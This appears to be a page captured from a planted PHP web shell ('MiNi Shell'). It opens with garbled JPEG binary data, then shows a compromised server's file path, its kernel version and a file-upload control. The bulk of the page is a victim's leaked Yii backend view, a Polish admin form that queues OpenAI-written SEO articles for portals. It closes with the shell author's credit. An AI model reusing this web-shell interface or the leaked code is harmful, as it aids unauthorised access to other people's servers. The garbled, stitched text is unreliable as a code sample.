JFIF ( %!1!%)+...383-7(-.+  -% &5/------------------------------------------------";!1AQ"aq2#3BRrb*!1"AQa2q#B ?yRd&vGlJwZvK)YrxB#j]ZAT^dpt{[wkWSԋ*QayBbm*&0<|0pfŷM`̬ ^.qR𽬷^EYTFíw<-.j)M-/s yqT'&FKz-([lև<G$wm2*e Z(Y-FVen櫧lҠDwүH4FX1 VsIOqSBۡNzJKzJξcX%vZcFSuMٖ%B ִ##\[%yYꉅ !VĂ1َRI-NsZJLTAPמQ:y״g_g= m֯Ye+Hyje!EcݸࢮSo{׬*h g<@KI$W+W'_> lUs1,o*ʺE.U"N&CTu7_0VyH,q ,)H㲣5<t ;rhnz%ݓz+4 i۸)P6+F>0Tв`&i}Shn?ik܀՟ȧ@mUSLFηh_er i_qt]MYhq 9LaJpPןߘvꀡ\"z[VƬ¤*aZMo=WkpSp \QhMb˒YH=ܒ m`CJt 8oFp]>pP1F>n8(*aڈ.Y݉[iTع JM!x]ԶaJSWҼܩ`yQ`*kE#nNkZKwA_7~ ΁JЍ;-2qRxYk=Uր>Z qThv@.w c{#&@#l;D$kGGvz/7[P+i3nIl`nrbmQi%}rAVPT*SF`{'6RX46PԮp(3W҅U\a*77lq^rT$vs2MU %*ŧ+\uQXVH !4t*Hg"Z챮 JX+RVU+ތ]PiJT XI= iPO=Ia3[ uؙ&2Z@.*SZ (")s8Y/-Fh Oc=@HRlPYp!wr?-dugNLpB1yWHyoP\ѕрiHִ,ِ0aUL.Yy`LSۜ,HZz!JQiVMb{( tژ <)^Qi_`: }8ٱ9_.)a[kSr> ;wWU#M^#ivT܎liH1Qm`cU+!2ɒIX%ֳNړ;ZI$?b$(9f2ZKe㼭qU8I[ U)9!mh1^N0 f_;׆2HFF'4b! yBGH_jтp'?uibQ T#ѬSX5gޒSF64ScjwU`xI]sAM( 5ATH_+s 0^IB++h@_Yjsp0{U@G -:*} TނMH*֔2Q:o@ w5(߰ua+a ~w[3W(дPYrF1E)3XTmIFqT~z*Is*清Wɴa0Qj%{T.ޅ״cz6u6݁h;֦ 8d97ݴ+ޕxзsȁ&LIJT)R0}f }PJdp`_p)əg(ŕtZ 'ϸqU74iZ{=Mhd$L|*UUn &ͶpHYJۋj /@9X?NlܾHYxnuXږAƞ8j ໲݀pQ4;*3iMlZ6w ȵP Shr!ݔDT7/ҡϲigD>jKAX3jv+ ߧز #_=zTm¦>}Tց<|ag{E*ֳ%5zW.Hh~a%j"e4i=vױi8RzM75i֟fEu64\էeo00d H韧rȪz2eulH$tQ>eO$@B /?=#٤ǕPS/·.iP28s4vOuz3zT& >Z2[0+[#Fޑ]!((!>s`rje('|,),y@\pЖE??u˹yWV%8mJ iw:u=-2dTSuGL+m<*צ1as&5su\phƃ qYLֳ>Y(PKi;Uڕp ..!i,54$IUEGLXrUE6m UJC?%4AT]I]F>׹P9+ee"Aid!Wk|tDv/ODc/,o]i"HIHQ_n spv"b}}&I:pȟU-_)Ux$l:fژɕ(I,oxin8*G>ÌKG}Rڀ8Frajٷh !*za]lx%EVRGYZoWѮ昀BXr{[d,t Eq ]lj+ N})0B,e iqT{z+O B2eB89Cڃ9YkZySi@/(W)d^Ufji0cH!hm-wB7C۔֛X$Zo)EF3VZqm)!wUxM49< 3Y .qDfzm |&T"} {*ih&266U9* <_# 7Meiu^h--ZtLSb)DVZH*#5UiVP+aSRIª!p挤c5g#zt@ypH={ {#0d N)qWT kA<Ÿ)/RT8D14y b2^OW,&Bcc[iViVdִCJ'hRh( 1K4#V`pِTw<1{)XPr9Rc 4)Srgto\Yτ~ xd"jO:A!7􋈒+E0%{M'T^`r=E*L7Q]A{]A<5ˋ.}<9_K (QL9FЍsĮC9!rpi T0q!H \@ܩB>F6 4ۺ6΋04ϲ^#>/@tyB]*ĸp6&<џDP9ᗟatM'> b쪗wI!܁V^tN!6=FD܆9*? q6h8  {%WoHoN.l^}"1+uJ ;r& / IɓKH*ǹP-J3+9 25w5IdcWg0n}U@2 #0iv腳z/^ƃOR}IvV2j(tB1){S"B\ ih.IXbƶ:GnI F.^a?>~!k''T[ע93fHlNDH;;sg-@, JOs~Ss^H '"#t=^@'W~Ap'oTڭ{Fن̴1#'c>꜡?F颅B L,2~ת-s2`aHQm:F^j&~*Nūv+{sk$F~ؒ'#kNsٗ D9PqhhkctԷFIo4M=SgIu`F=#}Zi'cu!}+CZI7NuŤIe1XT xC۷hcc7 l?ziY䠩7:E>k0Vxypm?kKNGCΒœap{=i1<6=IOV#WY=SXCޢfxl4[Qe1 hX+^I< tzǟ;jA%n=q@j'JT|na$~BU9؂dzu)m%glwnXL`޹W`AH̸뢙gEu[,'%1pf?tJ Ζmc[\ZyJvn$Hl'<+5[b]v efsЁ ^. &2 yO/8+$ x+zs˧Cޘ'^e fA+ڭsOnĜz,FU%HU&h fGRN擥{N$k}92k`Gn8<ʮsdH01>b{ {+ [k_F@KpkqV~sdy%ϦwK`D!N}N#)x9nw@7y4*\ Η$sR\xts30`O<0m~%U˓5_m ôªs::kB֫.tpv쌷\R)3Vq>ٝj'r-(du @9s5`;iaqoErY${i .Z(Џs^!yCϾ˓JoKbQU{௫e.-r|XWլYkZe0AGluIɦvd7 q -jEfۭt4q +]td_+%A"zM2xlqnVdfU^QaDI?+Vi\ϙLG9r>Y {eHUqp )=sYkt,s1!r,l鄛u#I$-֐2A=A\J]&gXƛ<ns_Q(8˗#)4qY~$'3"'UYcIv s.KO!{, ($LI rDuL_߰ Ci't{2L;\ߵ7@HK.Z)4
Devil Killer Is Here MiNi Shell

MiNi SheLL

Current Path : /home/vmanager/www/backend/views/articlesopenai/

Linux 9dbcd5f6333d 5.15.0-124-generic #134-Ubuntu SMP Fri Sep 27 20:20:17 UTC 2024 x86_64
Upload File :
Current File : /home/vmanager/www/backend/views/articlesopenai/generate_tasks_for_seo_portals.php

<?php

use yii\helpers\Html;
use yii\helpers\ArrayHelper;
use yii\widgets\ActiveForm;
use backend\components\widgets\FlashMessages;
use backend\models\TasksGeneratingArticlesForSeoPortalsForm;
use common\models\types\OpenAICommandTemplateType;
use common\models\OpenAICommandsTemplates;
use common\models\Portals;

/* @var $this yii\web\View */
/* @var $model backend\models\TasksGeneratingArticlesForSeoPortalsForm */

$this->title = Yii::t('backend', 'Artykuły').' - '.Yii::t('backend', 'Zgłoszenia generowania artykułów za pomocą OpenAI').' - '.Yii::t('backend', 'Wygeneruj dla SEO portali');
$this->params['breadcrumbs'][] = Yii::t('backend', 'Artykuły');
$this->params['breadcrumbs'][] = ['url' => ['articlesopenai/index'], 'label' => Yii::t('backend', 'OpenAI')];

$portalsList = ArrayHelper::map(Portals::find()->select(['id_portal', 'domain'])->orderBy('domain')->asArray()->all(), 'id_portal', 'domain');

$templatesList = ArrayHelper::map(OpenAICommandsTemplates::find()->select(['_id', 'label'])->where(['type' => OpenAICommandTemplateType::SEO_ARTICLES])->orderBy('label ASC')->asArray()->all(), function($item) { return (string)$item['_id']; }, 'label');

$resetButtonHtml = '<div class="btn-group">
                        <button type="button" class="btn btn-success">Wyzeruj bazę kategorii</button>
                        <button type="button" class="btn btn-success dropdown-toggle" data-toggle="dropdown">
                            <span class="caret"></span>
                            <span class="sr-only">Rozwiń</span>
                        </button>
                        <ul class="dropdown-menu" role="menu">';
                            foreach($portalsList as $idPortal => $domain) {
                                $resetButtonHtml .= '<li>';
                                $resetButtonHtml .= Html::a($domain, ['articlesopenai/reset-data-for-generating-tasks-for-seo-portals', 'id' => $idPortal]);
                                $resetButtonHtml .= '</li>';
                            }
                        $resetButtonHtml .= '</ul>';
                    $resetButtonHtml .= '</div>';
        
$this->params['contentButtons'][] = $resetButtonHtml;

$this->registerJs('
    $("document").ready(function(){     
        $("#template").on("change", function() {
            var idTemplate = $(this).val();
            if(idTemplate) {
                $.get("/openaicommandstemplates/get-command-template/"+idTemplate, function(data) {
                console.log(data);
                    $("#tasksgeneratingarticlesforseoportalsform-commandcontent").val(data);
                });
            }
        });
    });
');

?>

<?= FlashMessages::widget(); ?>
<div class="box box-solid box-primary">
    <div class="box-header">
        <h3 class="box-title"><?= Yii::t('backend', 'Zgłoszenie generowania artykułu za pomocą OpenAI'); ?></h3>
    </div>
    <div class="task-generating-article-generate-for-seo-portals box-body">
        <?php $form = ActiveForm::begin([
            'id' => 'task-generating-article-form',
            'enableAjaxValidation' => false,
            'enableClientValidation' => true
        ]); ?>

            <div class="row">
                <?= $form->field($model, 'idPortal', ['options' => ['class' => 'col-md-6']])->dropDownList($portalsList) ?> 
                <?= $form->field($model, 'numberOfTasks', ['options' => ['class' => 'col-md-2']])->dropDownList(array_combine(TasksGeneratingArticlesForSeoPortalsForm::NUMBER_OF_TASKS_OPTIONS, TasksGeneratingArticlesForSeoPortalsForm::NUMBER_OF_TASKS_OPTIONS)) ?>
                <?= $form->field($model, 'numberOfWords', ['options' => ['class' => 'col-md-2']])->textInput(['maxlength' => true]) ?>
                <?= $form->field($model, 'numberOfKeywords', ['options' => ['class' => 'col-md-2']])->textInput(['maxlength' => true]) ?>
            </div>
        
            <div class="row">
                <div class="col-md-12">
                    <label class="control-label" for="template"><?= Yii::t('backend', 'Szablon') ?></label>
                    <?= Html::dropDownList('template', '0', array_merge(['' => Yii::t('backend', 'brak')], $templatesList), ['id' => 'template', 'class' => 'form-control']) ?>
                    <div class="help-block"></div>
                </div>
            </div>
        
            <div class="row">
                <?= $form->field($model, 'commandContent', ['options' => ['class' => 'col-md-12']])->textarea(['rows' => 10]) ?>
            </div>

            <div class="form-group">
                <?= Html::submitButton(Yii::t('backend', 'Generuj'), ['class' => 'btn btn-success']) ?>
            </div>

        <?php ActiveForm::end(); ?>
    </div>
</div>

<?= $this->render('//openaicommandstemplates/_help_for_openai_command', [
    'orHidePresentationsSection' => true,
    'orHideProductsSection' => true,
    'orHideArticlesSection' => true
]) ?>

<div class="row">
    <div class="col-md-12">
        <div class="box">
            <div class="box-header">
                <h3 class="box-title">Uwagi:</h3>
            </div><!-- /.box-header -->
            <div class="box-body">
                <p>
                    Skrypt generuje zadania do generowania artykułów na podstawie kategorii SEOportali. Skrypt pobiera dane kategorii z bazy dla danego portalu tak długo aż wykona zadania dla wszystkich kategorii z bazy. 
                    Gdy zostaną wygenerowane zadania dla wszystkich kategorii pojawia się komunikat „Brak danych do obsłużenia zadania”, wówczas należy wyzerować bazę kategorii przyciskiem „Wyzeruj  bazę kategorii”. 
                    Znowu będą dostępne wszystkie kategorie wybranego portalu i można wygenerować kolejne zadania z wybranym innym szablonem.
                </p>
            </div>
        </div>
    </div>
</div>


Creat By MiNi SheLL
Email: jattceo@gmail.com